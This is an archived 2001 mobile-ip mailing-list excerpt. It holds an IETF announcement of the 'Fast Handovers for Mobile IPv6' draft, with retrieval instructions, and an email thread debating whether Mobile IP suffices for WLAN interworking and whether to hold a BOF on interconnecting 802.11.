List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the IP Routing for Wireless/Mobile Hosts Working Group of the IETF.

	Title		: Fast Handovers for Mobile IPv6
	Author(s)	: G. Dommety, A. Yegin, C. Perkins, 
                          G. Tsirtsis, K. Malki, M. Khalil
	Filename	: draft-ietf-mobileip-fast-mipv6-03.txt
	Pages		: 66
	Date		: 21-Nov-01
	
Mobile IPv6 describes how a mobile node can change its point of 
attachment from one access router to another (this process is 
referred to as Handoff). During this process, there could be a time 
period  during which the mobile node is unable to send or receive 
IPv6 packets. This time period is referred to as handoff latency. In 
certain scenarios, the handoff latency resulting due to procedures 
described in Mobile IP v6 could be greater than what is acceptable to 
support real-time or delay sensitive traffic.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mobileip-fast-mipv6-03.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mobileip-fast-mipv6-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mobileip-fast-mipv6-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011121140836.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mobileip-fast-mipv6-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mobileip-fast-mipv6-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011121140836.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 18:34:41 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA12463
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 18:34:41 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA07714;
	Mon, 26 Nov 2001 15:33:26 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA13313;
	Mon, 26 Nov 2001 15:31:45 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQNUx1V003977
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:30:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAQNUwsf003976
	for mobile-ip-dist; Mon, 26 Nov 2001 15:30:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQNUr1V003962
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:30:53 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA13019
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:30:56 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA25625
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 15:30:56 -0800 (PST)
Received: from docomocarl (dhcp104.docomo-usa.com [172.21.96.104])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAQNUt511920;
	Mon, 26 Nov 2001 15:30:55 -0800 (PST)
Message-ID: <1ab301c176d2$4e7d2a80$686015ac@docomocarl>
From: "Carl Williams" <carlw@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>,
        "Shahrier, Sharif M." <Sharif.Shahrier@InterDigital.com>
Cc: <seamoby@cdma-2000.org>
References: <A1170612471BD21185B90008C7FA0A0D0327F9B9@idcpa4.pa.interdigital.com>
Subject: Re: [mobile-ip] RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
Date: Mon, 26 Nov 2001 15:30:17 -0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_1AB0_01C1768F.40524960"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_1AB0_01C1768F.40524960
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt----- Original Message =
-----=20
  From: Shahrier, Sharif M.=20
  To: 'Pat R. Calhoun' ; Shahrier, Sharif M. ; 'Gary Kenward'=20
  Cc: 'kempf@docomolabs-usa.com' ; 'seamoby@cdma-2000.org' ; =
'mobile-ip@sunroof.eng.sun.com'=20
  Sent: Monday, November 26, 2001 9:09 AM
  Subject: [mobile-ip] RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt


  No, MIP is not sufficient, in my oppinion. There are many other issues =
involved when the MN changes its AP from one WLAN to another.=20

  =20

  -          Fast, seamless handover.

  -          Authentication and authorization.

  -          Billing (especially if the two WLANs are controlled by =
different operators).

  -          Context transfer

  -          Mobility management.

  -          Quality-of-Service.

  =20

  Now, the IETF has different protocol for these, but how they fit =
together into the interworking problem should be looked at.

  =20

  Also important, is to understand how the L2 functions in the WLANs =
interoperate with the functions in the IP layer. Perhaps, some functions =
are better done in L2, while others in the IP layer ...

  =20

  WLANs are going to be deployed more and more now, in campuses, =
enterprise networks, and also in home networking. And how to =
interconnect them is of great importance.

  =20

  Thus, I believe, if there were sufficient interest from people, IETF =
should consider taking an active role in attempting to understand ALL =
the issues and decide what (if anything) to do.

  =20



  Thus, a BOF session on "Interconnecting 802.11 in IP Layer"  is a =
small step.



Shahrier,



Is there plans for such a BOF?



Carl







  I am hoping to get a general feedback. Thanks.

  =20

  =20

  -Sharif.

  =20

  -----Original Message-----
  From: Pat R. Calhoun [mailto:pcalhoun@bstormnetworks.com]
  Sent: Monday, November 26, 2001 11:46 AM
  To: 'Shahrier, Sharif M.'; 'Gary Kenward'
  Cc: 'kempf@docomolabs-usa.com'
  Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt
  Sensitivity: Confidential

  =20

   =20
  -----BEGIN PGP SIGNED MESSAGE-----=20
  Hash: SHA1=20

  Right so if MIP is sufficient, no BOF is required.=20
   =20
  PatC=20
  - -----Original Message-----=20
  From: Shahrier, Sharif M. [mailto:Sharif.Shahrier@InterDigital.com]=20
  Sent: Monday, November 26, 2001 8:38 AM=20
  To: Pat R. Calhoun; Shahrier, Sharif M.; 'Gary Kenward'=20
  Cc: 'kempf@docomolabs-usa.com'=20
  Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt=20
  Sensitivity: Confidential=20

  =20

  Well, an  interworking solution need not necessarily be  a radio=20
  access network (RAN)  based solution. In fact, I have been=20
  researching into what companies are doing to interwork different=20
  types of networks, including 802.11. Most of them seem to be using=20
  Mobile IP (RFC2002), with some extensions of their own.=20
  As for IEEE, they just do L1 and L2, and nothing else.=20
  - -Sharif.=20

  The IESG would have zero interest on developing an air interface=20
  specific solution, and IEEE shouldn't get involved in L3 and above.=20
   =20
  See the problem :(=20
   =20
  PatC=20
  - - -----Original Message-----=20
  From: Shahrier, Sharif M. [mailto:Sharif.Shahrier@InterDigital.com]=20
  Sent: Monday, November 26, 2001 8:19 AM=20
  To: Pat R. Calhoun; Shahrier, Sharif M.; 'Gary Kenward'=20
  Cc: 'kempf@docomolabs-usa.com'=20
  Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt=20
  Sensitivity: Confidential=20
   =20
  As far as I know, the MWIF are currently looking into interconnecting=20
  solutions for WLANs. Also, SA1 in 3GPP have a WI on interconnecting=20
  UMTS and WLANs, so it may be interconnecting 802.11's are a sub-set=20
  of that. What are the chances of requesting the IESG about forming an=20
  ad-hoc at the next IETF meeting, and getting a favorable response=20
  ......?=20
   =20
  - - -Sharif.=20
   =20
  - - -----Original Message-----=20
  From: Pat R. Calhoun [mailto:pcalhoun@bstormnetworks.com]=20
  Sent: Monday, November 26, 2001 11:07 AM=20
  To: 'Shahrier, Sharif M.'; 'Gary Kenward'=20
  Cc: 'kempf@docomolabs-usa.com'=20
  Subject: RE: [seamoby] draft-ietf-seamoby-ct-reqs-02.txt=20
  Sensitivity: Confidential=20
   =20
  - - -----BEGIN PGP SIGNED MESSAGE-----=20
  Hash: SHA1=20
  yes, I have particular interest in this area, but I am also not sure=20
  that the standards body is the right place for this work.=20
   =20
  PatC=20
  - - - -----Original Message-----=20
   -=20


------=_NextPart_000_1AB0_01C1768F.40524960
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML xmlns=3D"http://www.w3.org/TR/REC-html40" xmlns:o =3D=20
"urn:schemas-microsoft-com:office:office" xmlns:w =3D=20
"urn:schemas-microsoft-com:office:word"><HEAD><TITLE>RE: [seamoby] =
draft-ietf-seamoby-ct-reqs-02.txt</TITLE>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3DWord.Document name=3DProgId>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<META content=3D"Microsoft Word 9" name=3DOriginator><LINK=20
href=3D"cid:filelist.xml@01C17673.F462B230" rel=3DFile-List><!--[if gte =
mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:Zoom>0</w:Zoom>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
 </w:WordDocument>
</xml><![endif]-->
<STYLE>@font-face {
	font-family: Wingdings;
}
@font-face {
	font-family: Tahoma;
}
P.MsoNormal {
	FONT-FAMILY: "Times New Roman"; FONT-SIZE: 12pt; MARGIN: 0in 0in 0pt; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
LI.MsoNormal {
	FONT-FAMILY: "Times New Roman"; FONT-SIZE: 12pt; MARGIN: 0in 0in 0pt; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
DIV.MsoNormal {
	FONT-FAMILY: "Times New Roman"; FONT-SIZE: 12pt; MARGIN: 0in 0in 0pt; =
mso-style-parent: ""; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"
}
A:link {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
SPAN.MsoHyperlink {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
A:visited {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
SPAN.MsoHyperlinkFollowed {
	COLOR: blue; TEXT-DECORATION: underline; text-underline: single
}
P.MsoAutoSig {
	FONT-FAMILY: "Times New Roman"; FONT-SIZE: 12pt; MARGIN: 0in 0in 0pt; =
mso-pagination: widow-orphan; mso-fareast-font-family: "Times New Roman"
}
LI.MsoAutoSig {
	FONT-FAMILY: "Times New Roman"; FONT-SIZE: 12pt; MARGIN: 0in 0in 0pt; =
mso-pagination: widow-orphan; mso-fareast-font-family: "Times New Roman"
}
DIV.MsoAutoSig {
	FONT-FAMILY: "Times New Roman"; FONT-SIZE: 12pt; MARGIN: 0in 0in 0pt; =
mso-pagination: widow-orphan; mso-fareast-font-family: "Times New Roman"
}
P {
	FONT-FAMILY: "Times New Roman"; FONT-SIZE: 12pt; MARGIN-LEFT: 0in; =
MARGIN-RIGHT: 0in; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"; mso-margin-top-alt: auto; =
mso-margin-bottom-alt: auto
}
P.para1 {
	FONT-FAMILY: "Times New Roman"; FONT-SIZE: 12pt; LINE-HEIGHT: 200%; =
MARGIN: 0in 0in 0pt; TEXT-INDENT: 0.5in; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"; mso-style-name: para1; =
mso-bidi-language: HE
}
LI.para1 {
	FONT-FAMILY: "Times New Roman"; FONT-SIZE: 12pt; LINE-HEIGHT: 200%; =
MARGIN: 0in 0in 0pt; TEXT-INDENT: 0.5in; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"; mso-style-name: para1; =
mso-bidi-language: HE
}
DIV.para1 {
	FONT-FAMILY: "Times New Roman"; FONT-SIZE: 12pt; LINE-HEIGHT: 200%; =
MARGIN: 0in 0in 0pt; TEXT-INDENT: 0.5in; mso-pagination: widow-orphan; =
mso-fareast-font-family: "Times New Roman"; mso-style-name: para1; =
mso-bidi-language: HE
}
SPAN.EmailStyle19 {
	COLOR: navy; mso-ascii-font-family: Arial; mso-hansi-font-family: =
Arial; mso-bidi-font-family: Arial; mso-style-type: personal-reply; =
mso-ansi-font-size: 10.0pt
}
DIV.Section1 {
	page: Section1
}
OL {
	MARGIN-BOTTOM: 0in
}
UL {
	MARGIN-BOTTOM: 0in
}
</STYLE>
</HEAD>
<BODY bgColor=3D#ffffff lang=3DEN-US link=3Dblue style=3D"tab-interval: =
.5in"=20
vLink=3Dblue>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:Sharif.Shahrier@InterDigital.com"=20
  title=3DSharif.Shahrier@InterDigital.com>Shahrier, Sharif M.</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:pcalhoun@bstormnetworks.com"=20
  title=3Dpcalhoun@bstormnetworks.com>'Pat R. Calhoun'</A> ; <A=20
  href=3D"mailto:Sharif.Shahrier@InterDigital.com"=20
  title=3DSharif.Shahrier@InterDigital.com>Shahrier, Sharif M.</A> ; <A=20
  href=3D"mailto:gkenward@nortelnetworks.com"=20
  title=3Dgkenward@nortelnetworks.com>'Gary Kenward'</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A=20
  href=3D"mailto:'kempf@docomolabs-usa.com'"=20
  title=3Dkempf@docomolabs-usa.com>'kempf@docomolabs-usa.com'</A> ; <A=20
  href=3D"mailto:'seamoby@cdma-2000.org'"=20
  title=3Dseamoby@cdma-2000.org>'seamoby@cdma-2000.org'</A> ; <A=20
  href=3D"mailto:'mobile-ip@sunroof.eng.sun.com'"=20
  =
title=3Dmobile-ip@sunroof.eng.sun.com>'mobile-ip@sunroof.eng.sun.com'</A>=
 </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Monday, November 26, 2001 =
9:09=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [mobile-ip] RE: =
[seamoby]=20
  draft-ietf-seamoby-ct-reqs-02.txt</DIV>
  <DIV><BR></DIV>
  <DIV class=3DSection1>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">No,=20
  MIP is not sufficient, in my oppinion. There are many other issues =
involved=20
  when the MN changes its AP from one WLAN to another.=20
  <o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt"><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal=20
  style=3D"MARGIN-LEFT: 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 =
lfo1; tab-stops: list .5in"><![if !supportLists]><SPAN=20
  class=3DEmailStyle19><FONT color=3Dnavy face=3D"Times New Roman" =
size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; =
mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times =
New Roman'; mso-bidi-font-family: 'Times New Roman'">-<FONT=20
  face=3D"Times New Roman" size=3D1><SPAN=20
  style=3D"FONT: 7pt 'Times New =
Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  </SPAN></FONT></SPAN></FONT></SPAN><![endif]><SPAN =
class=3DEmailStyle19><FONT=20
  color=3Dnavy face=3DArial size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">Fast,=20
  seamless handover.<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal=20
  style=3D"MARGIN-LEFT: 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 =
lfo1; tab-stops: list .5in"><![if !supportLists]><SPAN=20
  class=3DEmailStyle19><FONT color=3Dnavy face=3D"Times New Roman" =
size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; =
mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times =
New Roman'; mso-bidi-font-family: 'Times New Roman'">-<FONT=20
  face=3D"Times New Roman" size=3D1><SPAN=20
  style=3D"FONT: 7pt 'Times New =
Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  </SPAN></FONT></SPAN></FONT></SPAN><![endif]><SPAN =
class=3DEmailStyle19><FONT=20
  color=3Dnavy face=3DArial size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">Authentication=20
  and authorization.<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal=20
  style=3D"MARGIN-LEFT: 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 =
lfo1; tab-stops: list .5in"><![if !supportLists]><SPAN=20
  class=3DEmailStyle19><FONT color=3Dnavy face=3D"Times New Roman" =
size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; =
mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times =
New Roman'; mso-bidi-font-family: 'Times New Roman'">-<FONT=20
  face=3D"Times New Roman" size=3D1><SPAN=20
  style=3D"FONT: 7pt 'Times New =
Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  </SPAN></FONT></SPAN></FONT></SPAN><![endif]><SPAN =
class=3DEmailStyle19><FONT=20
  color=3Dnavy face=3DArial size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">Billing=20
  (especially if the two WLANs are controlled by different=20
  operators).<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal=20
  style=3D"MARGIN-LEFT: 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 =
lfo1; tab-stops: list .5in"><![if !supportLists]><SPAN=20
  class=3DEmailStyle19><FONT color=3Dnavy face=3D"Times New Roman" =
size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; =
mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times =
New Roman'; mso-bidi-font-family: 'Times New Roman'">-<FONT=20
  face=3D"Times New Roman" size=3D1><SPAN=20
  style=3D"FONT: 7pt 'Times New =
Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  </SPAN></FONT></SPAN></FONT></SPAN><![endif]><SPAN =
class=3DEmailStyle19><FONT=20
  color=3Dnavy face=3DArial size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">Context=20
  transfer<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal=20
  style=3D"MARGIN-LEFT: 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 =
lfo1; tab-stops: list .5in"><![if !supportLists]><SPAN=20
  class=3DEmailStyle19><FONT color=3Dnavy face=3D"Times New Roman" =
size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; =
mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times =
New Roman'; mso-bidi-font-family: 'Times New Roman'">-<FONT=20
  face=3D"Times New Roman" size=3D1><SPAN=20
  style=3D"FONT: 7pt 'Times New =
Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  </SPAN></FONT></SPAN></FONT></SPAN><![endif]><SPAN =
class=3DEmailStyle19><FONT=20
  color=3Dnavy face=3DArial size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">Mobility=20
  management.<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal=20
  style=3D"MARGIN-LEFT: 0.5in; TEXT-INDENT: -0.25in; mso-list: l0 level1 =
lfo1; tab-stops: list .5in"><![if !supportLists]><SPAN=20
  class=3DEmailStyle19><FONT color=3Dnavy face=3D"Times New Roman" =
size=3D2><SPAN=20
  style=3D"FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; =
mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times =
New Roman'; mso-bidi-font-family: 'Times New Roman'">-<FONT=20
  face=3D"Times New Roman" size=3D1><SPAN=20
  style=3D"FONT: 7pt 'Times New =
Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  </SPAN></FONT></SPAN></FONT></SPAN><![endif]><SPAN =
class=3DEmailStyle19><FONT=20
  color=3Dnavy face=3DArial size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">Quality-of-Service.<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt"><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">Now,=20
  the IETF has different protocol for these, but how they fit together =
into the=20
  interworking problem should be looked =
at.<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt"><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">Also=20
  important, is to understand how the L2 functions in the WLANs =
interoperate=20
  with the functions in the IP layer. Perhaps, some functions are better =
done in=20
  L2, while others in the IP layer =
&#8230;..<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt"><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">WLANs=20
  are going to be deployed more and more now, in campuses, enterprise =
networks,=20
  and also in home networking. And how to interconnect them is of great=20
  importance.<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt"><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">Thus,=20
  I believe, if there were sufficient interest from people, IETF should =
consider=20
  taking an active role in attempting to understand ALL the issues and =
decide=20
  what (if anything) to do.<o:p></o:p></SPAN></FONT></SPAN></P><![if =
!supportEmptyParas]>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">&nbsp;<![endif]></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt"></SPAN></FONT></SPAN>&nbsp;</P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">Thus,=20
  a BOF session on &#8220;Interconnecting 802.11 in IP Layer&#8221; =
<SPAN=20
  style=3D"mso-spacerun: yes">&nbsp;</SPAN>is a small=20
  step.</SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt"></SPAN></FONT></SPAN>&nbsp;</P></DIV></BLOCKQUOTE><![if =
!supportEmptyParas]><![endif]>
<P class=3DMsoNormal><FONT face=3DArial size=3D2>Shahrier,</FONT></P>
<P class=3DMsoNormal>&nbsp;</P>
<P class=3DMsoNormal><FONT face=3DArial size=3D2>Is there plans for such =
a=20
BOF?</FONT></P>
<P class=3DMsoNormal>&nbsp;</P>
<P class=3DMsoNormal><FONT face=3DArial size=3D2>Carl</FONT></P>
<P class=3DMsoNormal>&nbsp;</P>
<P class=3DMsoNormal>&nbsp;</P>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
